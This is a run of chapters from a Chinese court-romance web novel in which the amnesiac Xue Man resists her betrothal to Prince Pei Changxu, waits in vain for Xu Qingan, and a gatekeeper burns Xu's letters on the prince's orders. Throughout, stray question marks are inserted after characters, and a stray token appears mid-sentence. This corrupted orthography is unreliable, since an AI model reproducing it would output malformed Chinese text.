“那你为何主动跟本?公主打招呼!” “我不打招呼,公主会善罢甘休?” “那你出宫门后跟着本?宫怎么解释?” “回?恒安侯府,顺路。” “那去?往东市呢?” “我不记得?在东市遇到过?公主。” 不谄媚,不回?避,他全程冷静疏离地划清界限。 裴唯宁莫名有些失落,随即恼羞成怒,“许清桉,你对天发誓,若与我母后通过?半声气,将来便天打雷劈,不得?好死!” 眼见他不肯发誓,她忽地心情转好,又听他道:“公主殿下很在意我?” “青天白日你做什么大头梦。”笑话,她会在意一个外室子? “我身份低微,想来是入不了公主的眼。”许清桉道:“公主往后对我有不满,尽管吩咐侍卫宫女来教训我,无?须烦累千金之?躯。” 裴唯宁又生气了,“你管天管地,还管得?了本?公主去?哪?我偏要亲自来教训你,你能怎么样?” “我会认为公主喜欢我。” 自作多?情,不要脸,谁会喜欢他…… 裴唯宁暗骂几声,惊觉一直在被他带着走,于是故意道:“哦?要是本?公主承认,确实喜欢你呢?”你是不是要露出真面目,顺水推舟地表明忠心? 许清桉迎着她不怀好意的目光,淡然道:“那公主的喜欢注定?落空,我已经心有所?属。” 裴唯宁有短暂茫然,分不清他在欲擒故纵还是实话实说,“你有喜欢的人?了还想当驸马?” “我不想,也绝无?可能当驸马。” 裴唯宁的身体某处出现漏洞,鼓囊囊的怒气在倒泄,随之?而来是铺天盖地的沮丧。所?以?他没有与母后合谋,没有要跟荣国?公结亲,没有与她进一步接触的想法……皆因许清桉有喜欢的人?。 她脱口问道:“她是谁?” “一个不嫌弃我是外室子,待我全心全意的人?。” 裴唯宁的脸颊一热,原来他知晓大家在背地里对他的蔑称,可大家说得?有错吗?他本?来就是外室子! 她管不住嘴,“本?公主很好奇,究竟是哪家的庶女婢子给你送去?了温暖。” “这?是我的私事,请恕无?可奉告。”许清桉耗尽耐心,起身往外走,“我还有事,公主请自便。” 裴唯宁提着裙摆,紧跟其后,“本?公主还没允许你走,你给我站住!” 许清桉置若罔闻,权当尊贵的七公主是无?物。两个人?一前一后地行走在都察院,吸引了无?数注目,众人?心里或叹或妒:难怪许清桉一下子连升三级,原来是入了七公主的眼。 许清桉猛地站定?,声音清朗,“七公主今日来访,是误以?为我对她图谋不轨,方?才我已经跟公主解释清楚,我绝没有当驸马的想法,还请诸位为我做个见证。” 裴唯宁勃然变色:他当众声明是何意,杜绝她对他纠缠不清吗? “许清桉,算你有自知之?明,以?后不许你再?出现在本?公主面前!” 她放下狠话后拂袖而去?,众人?见状,自然也有一番见解。许清桉是人?尽皆知的不近女色,从眼前的情况来看,分明是七公主看上了他,而他宁死不从。这?位可是皇家最受宠的七公主……许清桉果然好定?力。 众人?愈加好奇:许清桉喜欢女子吗?假使喜欢,哪样的女子能入他的眼? …… 按照惯例,许清桉当晚应宴请同僚,把酒言欢。但许清桉身份特殊,不喜与人?为伍,又因白日七公主大闹了一场,宴请之?事更是不了了之?。 刚散值,许清桉便收拾东西离开?,速度快的不禁让人?猜想:莫非是赶着回?家清点奖赏? 奖赏自有薛满为许清桉代劳,早在午时,许清桉升职的消息与如流水一般的奖赏抵达瑞清院时,她便笑得?合不拢嘴。 大理寺少卿,四品官职,仅仅两年便一跃三品! 她没看错人?,少爷真是可造之?才。跟着这?样有出息的主子,她薛满的为婢之?路也会红红火火,风光无?限! 她美滋滋地清点起礼单,不多?时,苏合前来传话,“阿满姑娘,管家来传话,说老侯爷想请您到正厅说话。” 薛满干脆地拒绝:“我很忙的,不见。”反正他不愿意收她为徒,该适当地晾一晾。 欧阳管家在瑞清院门口坚持站了两刻钟,见对方?确实不给面子,便只?好无?功而返。 他觑着座上恒安侯喜怒不明的脸,斟酌着道:“老侯爷,您看,要不老奴派几个人?去?瑞清院,将阿满姑娘‘请’到这?来?” 他以?为这?是万无?一失的提议,毕竟恒安侯行事向来强横。当年对前世子和世子的亲娘尚且狠辣,如今只?一个婢女,不说强请,便处理了又如何,难道世子真能为此跟侯府决裂? 岂料下一刻,恒安侯先叫他摸不着东南西北。 恒安侯道:“是本?侯想得?不妥,从瑞清院走到本?侯这?里要一刻钟,小姑娘细胳膊细腿的肯定?嫌累。罢了,还是本?侯亲自去?趟瑞清院吧。” “……” “对了,你先去?库房里看看,有没有适合十六七岁小姑娘的东西。什么金镯、玉簪、头面、绫罗绸缎,有多?少拿多?少,全部送到瑞清院。” “……” “还愣着干吗!”恒安侯朝他屁股踹了一脚,“赶紧的,别耽误本?侯见阿满的工夫!” 70-80 第71章 第 71 章 少女努力横眉竖眼, 摆出蛮不?讲理的模样,奈何朱唇皓齿,杏脸桃腮, 没有半分?威慑力。 他莞尔笑?笑?,手中递出一物, “这?是我问太医要来的玉容膏,治疗红肿的效果极佳。” 薛满挥动树枝, 拒绝他的示好, “我不?需要。” 裴长旭慢条斯理地收回手,“也好,那我便向祖父说?明昨晚的唐突行为,请祖父转交给你?。” “你?!”薛满气倒, 碍于正厅有人, 只能压着怒气道:“你?为何要针对我?” “在阿满眼里,示好便叫针对?” “多余的示好便是针对!” 裴长旭心中刺痛, 面对熟悉的脸庞,截然不?同的态度,除去迎难而?上, 他似乎没有更好的办法。 “便当我在为难你?。”裴长旭道:“你?收是不?收?” 薛满磨磨蹭蹭地收下东西, 决定?转身便将它扔进湖里。 树枝上的桂花抖落一地,好些坠在薛满的裙摆上。裴长旭不?假思索地蹲下身子,替她收拾干净裙摆。 薛满有一瞬惊愕, 惊他纡尊降贵,竟能为她弯身整理裙摆。即便是未婚夫妻, 端王也比薛小姐高出几等, 何必为她做到这?种地步? 难道他真喜欢薛小姐? 不?! 一道声音坚定?打破她的迷思,若真喜欢, 薛小姐何至于在婚前离家出走?相信端王殿下的真心,不?如相信母猪会上树! 她心慌意乱地跑开,木着脸道:“听?说?你?抓走我的护卫,在府牢足足关?了半年?” “云斛吗?”裴长旭道:“他出言无状,我便替你?管教管教。” 薛满道:“既是管教,半年也已足够,是时候将他放出来了。” “冒犯亲王之罪,便是处死也不?为过,你?希望我放了他,何不?拿出你?的诚意?” “你?直接说?,想要我干吗?” “我要你?配合太医治病。” “……”薛满道:“我没有病,谈何治病?” “你?有。”裴长旭道:“你?不?记得我们的过往,不?记得我们十几年的感?情,视我如洪水猛兽,却对一个才认识半年的男子信任有加。” “你?不?知道我与少爷经历了什么。”薛满反驳:“我与他患难与共,他愿意为我以身犯险——” “你?岂知我不?愿意?”裴长旭打断她,眸光薄如蝉翼,轻轻一碰便能破碎,“我不?知你?与许清桉的经历,那你?呢,你?可知我与你?经历了哪些事?你?刚出生时,我便将你?抱在怀里,你?学会说?话时,第一句会喊的不?是爹娘,而?是三哥。我们也曾共度患难,你?难过时有我陪伴,我痛苦时有你?安慰。你?自小爱跟在我身后,你?说?你?喜欢我,想嫁给我做妻子,余生与我白头到老。 ” 薛满想不?起他说?的这?些记忆,但她的心有不?同见解,自作主张地替她落下眼泪。 …… 薛满边抹泪水边暗骂,不?争气的东西,忘记了还能哭! 裴长旭却笑?了,他知晓她是短暂遗忘,并?没有丢弃他们的感?情。 “阿满,别对我太残忍。”裴长旭在她的头顶轻轻一抚,似他们从未分?离那般亲昵,“你?我的命运早已密不?可分?,我不?能失去你?,你?也离不?开我。” 薛满像被一团轻柔的云雾裹住,轻飘飘,暖融融,身心都得到了极大的抚慰。若无先入为主的防备,以端王本?人的卓然雅善,恐怕她也会像病美人那样,用尽手段想留住他吧…… 病美人。 薛满陡然清醒,掌心逐渐冰冷,“殿下认为我恢复记忆后,便能一切如初?” 裴长旭道:“是。” “若不?能呢?” “一定?能。” 裴长旭想,他的阿满舍不?得弃他而?去,便如当年的他遇到江诗韵,一时的冲动抵不?过理智衡量。无论此刻的阿满待许清桉何等情感?,等她找回记忆,所爱只有裴长旭。 迷路而?已。 航行大海,难免会被风浪遮眼,等找回方向,属于他们的船依旧能顺利归港。 叙完旧,薛科诚前往老宅处理归府事宜,薛皇后将注意力转回薛满身上。她坐在主座上,端的是雍容华贵,气度天成。 她面带微笑?,朝薛满招手,“阿满,来姑母这?。” 薛满乖乖站到她面前,下意识地行了个标准宫礼,“阿满见过皇后娘娘。” 薛皇后牵起她的手,“喊错了,你?得叫姑母。” 薛满偷看她一眼,她真是裴长旭与七公?主的生母吗,看上去好年轻,“姑母好。” 薛皇后道:“本?宫已听?长旭说?过你?的情况,别怕,待太医替你?诊治,煎上几副药,吃段时间便能够康复。” 她没对苛责薛满半字,反倒嘘寒问暖,言语间俱是对她逃婚的理解、对裴长旭的斥责。 面对人美心善的皇后,薛满打心底感?到亲近,乖巧地回应她的话语。 裴长旭见状,佯装叹息,“还是母后厉害,阿满面对您时乖如绵羊,你?说什么她应什么。面对儿臣时却张牙舞爪,句句反其道而?行,恨不得在儿臣脸上挠出印子。” 薛皇后横他一眼,“要本?宫说?,阿满便该对你?厉害些,省得你身在福中不知福。” “是是是。”裴长旭讨饶地作揖,“今后我定?以阿满的话为尊,她叫我去东,我绝不?敢往西走。” “阿满,你?记好他说?的话。”薛皇后笑?道:“他要是敢不?听?你?的话,本?宫便帮你?一起罚他。” 这?幅母子言笑?的画面温馨和睦,薛满有一种别样的熟悉感?,仿佛她参与过百次千次。 不?,不?是仿佛,是薛小姐曾切实地参与其中。 但薛满与薛小姐终归有所不?同,她抿唇一笑?,并?无多余言语。 薛皇后仔细打量起她,“本?宫瞧着,似乎比半年前胖了些?” 薛满脸颊微热,“我最?近吃了不?少糖果和糕点。” “你?惯来爱吃甜食,但总嚷嚷着要减重,每次吃个几口便放下,长旭总为此说?你?。”薛皇后打趣:“如今失去记忆,连减重的执念一并?丢弃,倒也算件好事。” 薛满道:“我是该控制食量了,否则过完冬天,脸得再圆上一圈。” 薛皇后道:“圆脸好,圆脸有福气。” 裴长旭也道:“不?管阿满是圆是扁,我都喜欢至极。” 薛满立即用余光睨他一眼:我怎么能是扁的,哪种情况下我会是扁的?! 裴长旭被瞪得通体舒畅,不?怕她瞪他,只怕她无视他。 薛皇后暗中观察他们的互动,悬了半年的心终于归位。阿满平安回来便好,至于恒安侯世?子许清桉…… “许少卿那边,本?宫已准备了一份厚礼,作为这?段时间里他照顾你?的答谢。” 薛满道:“姑母,少爷他——” 薛皇后提醒:“阿满,你?是本?宫的亲侄女,薛家嫡出的姑娘。” 薛满便改口:“姑母,许清桉他收下了吗?” “为何不?收?”薛皇后道:“谢礼丰厚,配得起许少卿的身份。” 通常来说?,好人做了好事,收下谢礼便是终结。少爷收下皇后娘娘的谢礼,是否意味着他们间的关?系也已终结? 可他说?瑞清院永远是她的家,他没有收回库房钥匙,他每日下衙后会来薛府求见。 薛满打住胡思乱想:等会儿见面,直接问他便是,若他敢说?一笔勾销……呵呵,薛家的护卫并?不?比瑞清院少。 薛皇后没有多谈许清桉,“你?回来的时间正好,若再不?回来,本?宫与长旭便该头疼了。” 薛满问:“这?是何意?” 薛皇后看向裴长旭,后者道:“儿臣还没来得及告诉阿满。” 他边替皇后倒茶,边向薛满解释:“再有三日便是父皇寿辰,按照惯例,父皇 依譁 会在两日后前往石窟佛前祈福。” 薛满:然后? 裴长旭道:“父皇命我负责此次祈福安护之事,又?念你?‘病重’许久,特?准你?参与此行。” 薛满不?想要这?种殊荣,“姑母,我如今脑子一片空白,什么也记不?起来,参与祈福怕是会给你?们丢脸。” “有些东西能忘,有些东西却刻进了骨子。”薛皇后道:“本?宫瞧你?方才宫礼规范,不?枉吴嬷嬷对你?的精心调教。” “但我失去记忆,万一被人察觉出来?” “小事一桩,本?宫会对外宣称你?因病丢失了少许记忆。” “可是……” “没有可是。”薛皇后淡道:“圣上此举并?非平白无故,定?是有人多嘴多舌,借你?久未露面一事,挑拣旭儿的不?是。” 裴长旭接道:“朝中派系错综复杂,不?少人受过张家恩惠。” “瘦死的骆驼比马大,何况张太后与张贵妃安然无恙,九皇子向来得皇上宠爱,张家未必不?能东山再起。” “儿臣明白,往后处事定?当加倍小心。” “你?如此,阿满亦当如此。”薛皇后语气平静,话中意蕴沉重,“身为薛家人,薛家荣则你?我荣,薛家败则你?我败,阿满,你?可懂其中道理?” 薛满对朝事一无所知,但听?他们所言,便知局势波谲云诡。平民百姓尚能为利益争得头破血流,何况是站在权力巅峰的皇家儿女? “姑母,我懂。”她轻轻点头,“您告诉我该怎么做,我会努力配合。” 景帝的祈福之行,具体事务自有礼部操持。薛满作为端王的未婚妻,只需端庄美丽地出现,陪伴在皇后身边即可。 回顾往年,仅有太子、太子妃能陪同帝后出行祈福。而?今太子与九皇子接连遭受挫折,反观端王殿下,在工部时表现突出,查抄张、杨两家时雷厉风行,其品性手段叫旁人心悦诚服。 祈福之事传开后,不?少人在私下议论纷纷,许清桉偶然间听?到有位同僚感?慨:“若端王殿下的婚事再顺利些,人生便是完美无缺。” 他无甚表情地勾起唇角,天下的好事都叫端王占着,旁人不?用活了最?好。 熬到酉时,他利落地收拾好案卷,刚跨出门槛,便迎面对上左少卿常乐。常乐比他年长十岁,在大理寺任职多年,对许清桉这?个御封的右少卿不?假辞色,未因他的世?子身份便高看一眼。 他抱着摞至下巴处的一沓案卷,冷淡地道:“这?是大人叫我整理出的一些陈年悬案,他命你?今晚彻夜翻查案卷,看看有无遗漏的线索。” 许清桉重复:“陈年悬案,彻夜查找线索?” 常乐道:“大人原话如此,我只负责转述,你?若不?信,大可去前堂向他求证。” 说?罢,他胳膊一抬一放,将厚重的案卷交给许清桉后离开。 许清桉抱着案卷回到桌前,随手打开几本?,无一例外,皆是线索寥寥、积年未解的旧案,最?远的竟有十五年之久。大理寺卿忽然予他“重任”,是认为他才干出众,抑或另有深意? 许清桉心如明镜,一时又?无可奈何。他命空青去薛府传信,随即投入案卷,不?眠不?休。 空青快马赶到薛府门前,只见薛府巍峨富丽,尤其那描金绘彩的额枋,与隔壁气派的端王府相映生辉。 猜到阿满姑娘是贵族小姐,没猜到竟是京城薛家。 空青叹了口气,世?子的对手是惊艳绝才的端王殿下,不?知有几分?胜算…… 他找到门房,将信件转交给对方,“请向薛小姐说?明,这?是恒安侯世?子的信件。” 门房笑?着答应,客气地送他离开,等空青的背影消失在街道尽头,他转身走到角落,苦着脸将信件烧毁。 端王殿下有吩咐,凡是恒安侯世?子的信件,原地销毁即可。门房不?想背叛小姐,但他的儿子正在端王府当差,为了儿子的将来,他只能选择对不?住小姐。小姐历来心软,哪怕知道实情,向她磕头认罪便能求得原谅…… 薛满不?知门房的侥幸想法,她正累得腰背酸痛。 薛皇后命吴嬷嬷帮她复习宫礼,一复习便是两个时辰。眼看天色已黑,薛满趁着休息的功夫,不?住往外看,“明荟,这?会儿几时了?” 明荟道:“回小姐,酉时中了,厨房已准备好饭菜,老太爷刚回到府中,说?等您练完再一起用膳。” 吴嬷嬷便道:“薛小姐,您可休息半个时辰,等用完膳了再继续练习。” 薛满一口气哽在喉间,“晚上还要练?” 吴嬷嬷解释:“离祈福只剩一天时间,您和端王殿下是第一次陪同帝后出行,定?有无数双眼睛盯着你?们,礼仪举止不?容出错。” 薛满心中呐喊:她不?想去,能换人陪端王吗,譬如那位病恹恹的美人,她肯定?乐意至极! 她到底没发疯,无精打采地点头,“好,我知晓了。” 她拖着疲累的腿,靠着见许清桉的信念往外疾走,侧首对明萱道:“你?叫人去转告祖父,请他先行用膳,我还有些急事,便不?同他一起了。”又?期待地问明荟:“可有人前来拜访?” 明荟道:“今日只有皇后娘娘和殿下上门拜访。” 薛满问:“除去他们呢?” 明荟道:“应当没其他人了,奴婢没有接到通传。” 薛满想,定?是大理寺公?务繁忙,少爷没那么早下衙。在瑞清院时,他经常忙到半夜才回来。 当官不?容易啊! “走,我们去小厅等着。”薛满道:“他既答应了我,便一定?会赶来。” 谁?是小姐在外面新交的朋友吗? 明荟想,看来这?位新朋友与小姐感?情不?错,也不?知是哪家的姑娘,门第高还是低。唉,别像江诗韵,借着小姐接近端王殿下便好…… 薛满在小厅等了许久,直到吴嬷嬷派人来催促,仍没有等到许清桉的身影。 人没到便罢,竟连句口信也没有,许清桉这?个出尔反尔的大骗子! 薛满沉着一张俏脸,顾不?得明荟阻拦,吩咐云齐去准备马车外出,被赶来的薛科诚拦下。 “阿满,你?要去哪?” “祖父,我,我出门办件事,很快便回来。” “你?想去恒安侯府?” “……” “我听?吴嬷嬷说?,你?后日要参加石窟祈福,这?两晚得加紧练习礼节。” “我只出去一小会,等回来会继续练,练到天亮也成。” “你?可以等祈福活动结束后再去拜访。” 薛满固执地沉默,她等不?及那时候,今晚便想见到他。 “阿满,祖父理解你?的心情。”薛科诚心平气和,“这?半年里,你?与许少卿形影不?离,已经习惯彼此的存在。但你?们皆非稚子,肩上扛着各自的家族荣光。许少卿身后是恒安侯府,而?你?身后有薛家,这?是你?们与生俱来的责任。” “祖父,我保证只跟他见一面,说?几句话,不?会在侯府多待。” “你?身有婚约,却在半夜去见其他男子,叫长旭与皇后做何感?想?” “我方才跟您提的第二件事,便是想请您替我做主,解除与端王的婚约。”薛满字字清晰,“我不?想嫁给他。” 薛科诚并?无讶色,“阿满,你?从前与长旭是两情相悦。” 从前从前,又?提从前,她分?明不?记得从前了! 薛满略显烦躁,“你?们人人都跟我提从前,但我不?是从前的薛小姐。我是阿满,我讨厌裴长旭,绝对不?会嫁给他。” “你?认为薛小姐是薛小姐,你?是你?,你?们是截然不?同的两个人?” “这?是显而?易见的事实。”薛满脱口而?出,“祖父,您说?那么多,无非怕得罪皇后和端王,根本?无意替我出头,对吗?” “古语有云,管中窥豹,略见一斑。盲人摸象,难明全貌。”薛科诚语重心长,“阿满,你?想否定?前十六年的你?,最?该做的便是找回记忆,直面过去。” “窥豹身,知全貌又?如何?”薛满别开脸,语调渐低,“我能感?受到薛小姐不?快乐,她想忘记那些难过的记忆。” “喜怒哀乐,悲欢离合,皆是人生百态,你?我当渡则渡。”薛科诚目光慈爱,“等你?成功找回自己?,若解除婚约的意愿照旧,祖父定?不?计代价地帮你?恢复自由。” 第72章 第 72 章【双章】 薛满得到祖父的确切承诺, 前提是她恢复记忆,在此?之前,不得偷偷去找许清桉, 为薛家和恒安侯府惹来非议。 薛满慨然应允,她不主动找少爷, 等少爷来见她总行吧?唉,今日少爷肯定非常忙碌, 忙得忘记了他们的约定。无碍, 等明日……后日……还有许多日子能?够见面。 她耐着性?子回去跟吴嬷嬷练习礼仪,练至亥时末才歇,闭上眼便进入梦乡。 明荟蹑手蹑脚地退到外间,躺在床上翻来覆去。 老太爷与?小姐说话时, 她站在不远处, 将他们的对话听?得清楚。什么许少卿、恒安侯府、与?端王殿下解除婚约…… 小姐果真不喜欢端王殿下了!在离开的半年?里,竟是与?那恒安侯世子形影不离吗?但想解除与?殿下的婚约, 定没那么简单。 明荟彻夜难眠,想恒安侯世子是怎样的人?,待小姐好不好, 小姐又能?不能?顺利解除婚约…… 翌日, 明荟按照吴嬷嬷的吩咐,一大早便喊醒薛满。 薛满睡眼蒙眬地醒来,明荟撩开两侧纱帐, “小姐,吴嬷嬷已经来了。” 薛满盯着她青灰泛肿的双眼, 好心地道:“梳妆台上有盒玉容膏, 你?拿去擦在眼周消肿。” 明荟知晓那是端王特意送给小姐的好东西,忙要?推辞, 便听?她道:“你?不收,便将东西直接扔进湖里。” 明荟改口:“奴婢收,奴婢马上去用,小姐待奴婢真好!” 她替薛满梳理长发,眨眼便挽了个精致繁复的发髻,又往乌发间点缀几枚小巧玲珑的珍珠发饰,更衬薛满肤如凝脂,花容月貌。 薛满也?当过“婢女”,但她伺候人?的功夫烂到家,许清桉严禁她动手,只许她动嘴,“你?学盘发学了多久?” “奴婢从小伺候您,七岁时便会盘发,至今已有十一年?。” “你?会盘男子的发髻吗?” “奴婢会。” “那你?有空了教教我,我学最简单,最容易上手的那种便成。” “小姐要?学,奴婢随时能?教。”明荟笑?道:“小姐身边的四?大丫鬟,每个身上都有一项特长,譬如奴婢擅长盘发,明萱擅长刺绣,明荷、明芙擅长下厨和制香。” “那护卫们呢,也?各有所长吗?” “是,云护卫们也?是各有所长。”明荟软声?道:“小姐,我们都很有用。”请您将来不管去哪,都带上我们同去,好吗? 天未大亮,薛科诚已出?门前往旧宅,薛满强撑着眼皮,慢吞吞地前往膳厅。 薛府的早膳琳琅满目,比瑞清院更为丰富。 明荟替她盛了碗香菇鸡丝粥,布好配菜,安静地退到一旁。 薛满尝了温粥,白粥顺滑,鸡丝鲜美,其味无穷。 是少爷喜欢的味道呢…… 她心不在焉地用膳,越吃越觉得困,脑袋开始小鸡啄米,一下又一下地往前坠。 明荟忍俊不禁,正要?出?声?提醒,被进门的裴长旭摇头制止。 他悄无声?息地靠近薛满,在她眼睛眯成一条线,差点给满桌饭菜磕拜时,探掌接住她的额头。 薛满睁眼,侧首,对上一双明亮温煦的眼眸。 裴长旭道:“阿满,你?快睡着了。” 薛满猛地坐直身子,使劲抹着被他碰过的额头,“你?怎么又来了?” 裴长旭道:“你?忘了?母后叫我上午跟你?一起练习礼仪。” 是有这么回事?。 薛满对薛科诚、薛皇后两位长辈束手无策,若他们蛮横不讲理便罢了,偏偏他们的疼发自内心,她捏着鼻子也?得顾全大局。 唉! 薛满不再跟裴长旭较劲,裴长旭坐到她对面,薛满吃什么他便吃什么,妥妥一个学人?精。 用好膳后,两人?一起接受吴嬷嬷的教导。薛满不知,裴长旭根本不用特意复习礼仪,他自小在景帝跟前长大,学识品德、言行举止皆是皇子表率,区区祈福怎难得倒他?但他不肯放过与?她见面的机会,能?处半日是半日。 半日转瞬即逝,裴长旭得前往皇宫与?锦衣卫计议要?事?,薛满没有留他用膳的意思,他并不强求,“过一会,太医院的院使关少云会上门替你?诊脉。” “哦。” “你?配合关院使治疗,我便将云斛毫发无伤地还给你?。” 何意?不配合的话,他还想将云斛缺胳膊少腿地还回来吗? 薛满忍住找碴的冲动,“行了,我知道了,你?赶紧走吧。”走走走,走得越远越好。 裴长旭意外她能配合,走到门口忽然回身,“阿满,我还会回来的。” ……这听?起来很像话本中大反派的戏词。 午膳后,关院使如约而至。他是太医院的老人?,见过无数达官贵人?,治过无数疑难杂症,深知谨言慎行的道理。端王请他来看病,他便专注看病,其余一概不问。 他按照往常的步骤,先把脉看诊,再事无巨细地询问病情,三思而后,开出?一副药方。 “下官会请人?送来药材,薛小姐使婢女每日煎三副,按时服用,若有不适,随时派人?通知下官。” 面对端王未婚妻,关院使面带笑?容,一口一个下官,态度好不谦卑。 伸手不打笑?脸人?,薛满应道:“好。” 关院使又道:“等圣上的祈福结束,下官打算隔两日上门为您针灸,您看如何?” 薛满恹恹点头,“嗯,有劳关院使。” 关院使拱手,“能?为薛小姐看病,实乃下官之幸……” 送走关院使,薛满想放会空,吴嬷嬷便往她面前一杵,恭恭敬敬地道:“薛小姐,您该继续了。” 薛满眨眨眼,对吴嬷嬷撒娇:“嬷嬷,我练不动了,想再休息会儿。” 吴嬷嬷笑?道:“等石窟祈福结束,您想休息多久便休息多久。” 薛满的偷懒计划没有得逞,唉声?叹气地起身,下一瞬,门外响起裴唯宁的声?音,“阿满,我带糕点来看你?了!” 薛满立即看向吴嬷嬷,吴嬷嬷无奈,“一刻钟,至多一刻钟。” 裴唯宁为薛满争取到一刻钟的休息时间,她将各色糕点摆上桌案,桂花糕、豌豆黄、松子穰、水晶饺,还有盏红枣血燕。 “我本想给你?带壶缥玉酿,但想到你?三杯醉的酒量,便换成了红枣血燕,给你?补补气血。” “我酒量那么差?” “是啊,除去果饮,普通酒三杯便醉。” “我喝醉后会发酒疯吗?” “你?还好,比平日絮叨一些?,喜欢将东西吃到撑为止。不像我,喝醉后喜欢折腾旁人?,有回竟然逼林何举正月里下水,非要?他给我捉蝌蚪回来。” 薛满知道林何举是她的侍卫,是名俊健利落的青年?,“他照办了?” “当然照办,林何举最听?我的话。”裴唯宁悻悻然:“皇兄得知此?事?后,将我骂得狗血淋头,称再有下回,他便将林何举从我身边撤走。” 是挺该骂的。 薛满咬了口松子穰便放下,不敢再多吃。 裴唯宁问:“你?怎么不吃,是不喜欢吗?” 薛满道:“皇后娘娘说我脸变圆了,我得克制些?食量。” “哈哈哈,阿满,你?真是一点没变,又爱吃又怕胖。”裴唯宁笑?出?声?,不无感慨,“我记得你?离开京城前,也?是日日跟着吴嬷嬷学习礼仪,每天愁眉苦脸又得咬牙忍着。等休息时候,母后便会叫御膳房做你?喜欢的糕点,你?当时最爱花折鹅糕,经常打包回府。” “你?觉得我是从前好,还是如今好?” “都好,都好。” 但其余人?不这么认为,都想叫她变回从前。薛满若有所思,“我问你?个问题,你?得如实回答。” “你?说。” “怎样能?叫你?三哥主动跟我解除婚约?” 裴唯宁一时语塞,半年?前她偷听?到三哥与?江家妹妹的事?,担心三哥会重?蹈覆辙,再次辜负阿满。谁能?想到风水轮流转,三哥成了被嫌弃的那一方? 她道:“阿满,即便父皇下旨要?解除婚约,三哥亦不见得从命。” “……” “我也?曾怀疑三哥对你?的感情,以为你?喜欢他更胜他喜欢你?。但你?离开的半年?内,三哥寝食难安,性?情大变,对我和母后不假辞色,比之前那次更失魂落魄。” “之前哪次?” 裴唯宁双手搭膝,小心翼翼地道:“追本溯源,那才是你?离开京城的心结。在你?十二岁那年?,我们结伴前往江南游玩,你?偶然间救——” “停,先别说了。”薛满的心口窒闷,“我还没准备好。” 裴唯宁理解她的心情,对阿满而言,那是仅次于?至亲们离世的痛苦记忆,“不着急,等你?准备好了,我再告诉你?所有的事?情经过。” “薛小姐,时间到了。” 吴嬷嬷适时打断她们的对话,薛满仓皇离开,裴唯宁反倒长舒了口气。 阿满愿意了解过去,恢复记忆便指日可待,等那一日到来,她必定会打消解除婚约的荒谬念头。 她心情大好,哼着小曲往外走,林何举亦步亦趋地跟上,“公主,您要?回宫吗?” “不回,我打算再去个地方。” “您想去哪里?” “林何举,你?猜猜我要?去哪,猜中?有奖。” 林何举冥思苦想,脑中?灵光一现,“大理寺?” 裴唯宁喜笑?颜开,“不愧跟了本公主多年?,脑子灵光了不少,回宫后记得去库房领赏!” 公主的座驾第二次来到大理寺的门口,这回裴唯宁没有干等,派林何举直接去问门卫,“许清桉,许少卿可在?” 门卫往侧边一指,“那不是吗?” 林何举望去,见许清桉正牵马走出?,身后还跟着两名府兵。 林何举朝他抱拳,笑?容爽朗,“在下林何举,见过许少卿。” 许清桉认出?他是七公主身边的侍卫,眼也?不抬地道:“本官要?外出?查案,便不跟林侍卫寒暄了。” 林何举站到他身前,比了个请的手势,“我家主子正在马车上等着,还请许少卿借一步说话。” “不合适,没时间。”许清桉淡道:“请林侍卫让路。” 林何举当然不肯让开,“您清楚我家主子的脾气,总不想都察院的事?再来一次。” 门卫及那两名府兵听?得饶有兴趣,青年?口里的主子似乎大有来头,是谁,跟许少卿在都察院发生过何事?? 许清桉却不为所动,“你?家主子不怕闹到御前,本官更不会怕。” 说罢,他绕开林何举往外走,对路边的马车视而不见。 裴唯宁本掀着一角在偷看,见状露出?半边脸,“许清桉,你?先别走,我有话要?跟你?说!” 这是她第一次对他舍弃尊称,将彼此?放到平等的位置,原以为他会领情,岂料他利落地翻身上马,目视前方,对身后的府兵道:“抓紧赶路,争取在天黑前回来。” “……”裴唯宁咬牙切齿,“我是来跟你?道歉的,是道歉,不是找麻烦,你?听?到没!” 许清桉双腿一蹬,马儿开始往前跑。 裴唯宁被无视的彻底,气得拍向窗框。林何举忙小声?道:“殿下,许大人?正要?外出?办事?,您不如另选个时间再来。” 裴唯宁瞪着那道逐渐走远的背影,郁闷之余,掀帘大喊:“我告诉你?个好消息,她改变主意,向我打听?起过去了。想必过不了多久,她便能?归于?正轨,忘掉那些?多余的经历!” 话音刚落,许清桉的身影已消失在长街尽头,裴唯宁没有看见他的背影笔直,直到隐隐发僵。 才回去一日,便改变了主意? 不,绝对不会。 他想,阿满意志坚定,岂是左摇右摆之辈?等他今日查完线索回来,自会去薛府见她。 ……回是回不来的,许清桉因“意外”耽搁了回程,幸亏临别前叮嘱过空青,继续往薛家送信。 空青自以为圆满完成任务,岂料两封信都被门房烧毁。薛满连续两天等空,忙碌之余腹诽:好你?个许清桉,说话不算数,小心吃果子必吃到虫,还得是半条的! 想起两人?吃卢橘的那段糗事?,她一时笑?又一时恼,早知便不捡回那筐卢橘,叫他一人?吃到虫该多好。 经过黑天白夜的练习,可怜的薛满在石窟祈福当日,又被早早地喊起床,送进宫中?梳妆打扮。 薛皇后在正殿中?上妆,薛满在侧殿里由宫人?整理服饰,难得的是裴唯宁也?起大早,特意陪表妹解闷说话。 “你?今日不去吗?”薛满问。 “我不去,石窟祈福向来只有帝后与?储君能?去,此?番你?与?三哥同去,已经惹来许多非议。” 薛满蹙眉,想也?知道那些?人?在非议何事?。 裴唯宁道:“你?不用担心,父皇做事?必然有他的道理,有皇兄和母后在,无人?敢到你?面前找不痛快。”顿了顿,又道:“也?不是,兴许有人?会触你?霉头。” “谁?” “太子妃蒋芸娘,你?记得她吗?” 薛满摇头,“她跟我不对付吗?” “是跟我们不对付,打小便不对付。”裴唯宁撇着嘴道:“她那人?,啧啧,没嫁给太子哥哥前,她自诩京城贵女的典范,推崇在家从父、出?嫁从夫那套,最爱到处送人?《女德》《女诫》。言语间总挤兑我们,称我们爱看的那些?话本子是异想天开,是胡说八道。” “我们爱看哪些?话本子?”她也?不记得了。 “当然是一生一世一双人?的情情爱爱。”裴唯宁兴致勃勃地道:“你?从前爱看江湖侠客和医女的故事?,我爱看千金小姐和……” “咳咳,具体细节等私下再说。”薛满清清嗓,还有好多宫女在呢,“你?继续说太子妃的事?。” 裴唯宁道:“蒋芸娘当上太子妃后,气焰更为嚣张。她几次三番对我阴阳怪气,说我年?满十七还未定亲,成日只知道往外跑,这样跳脱的性?子,没有哪家公子能?瞧得上。” “她敢这么和你?说话?” 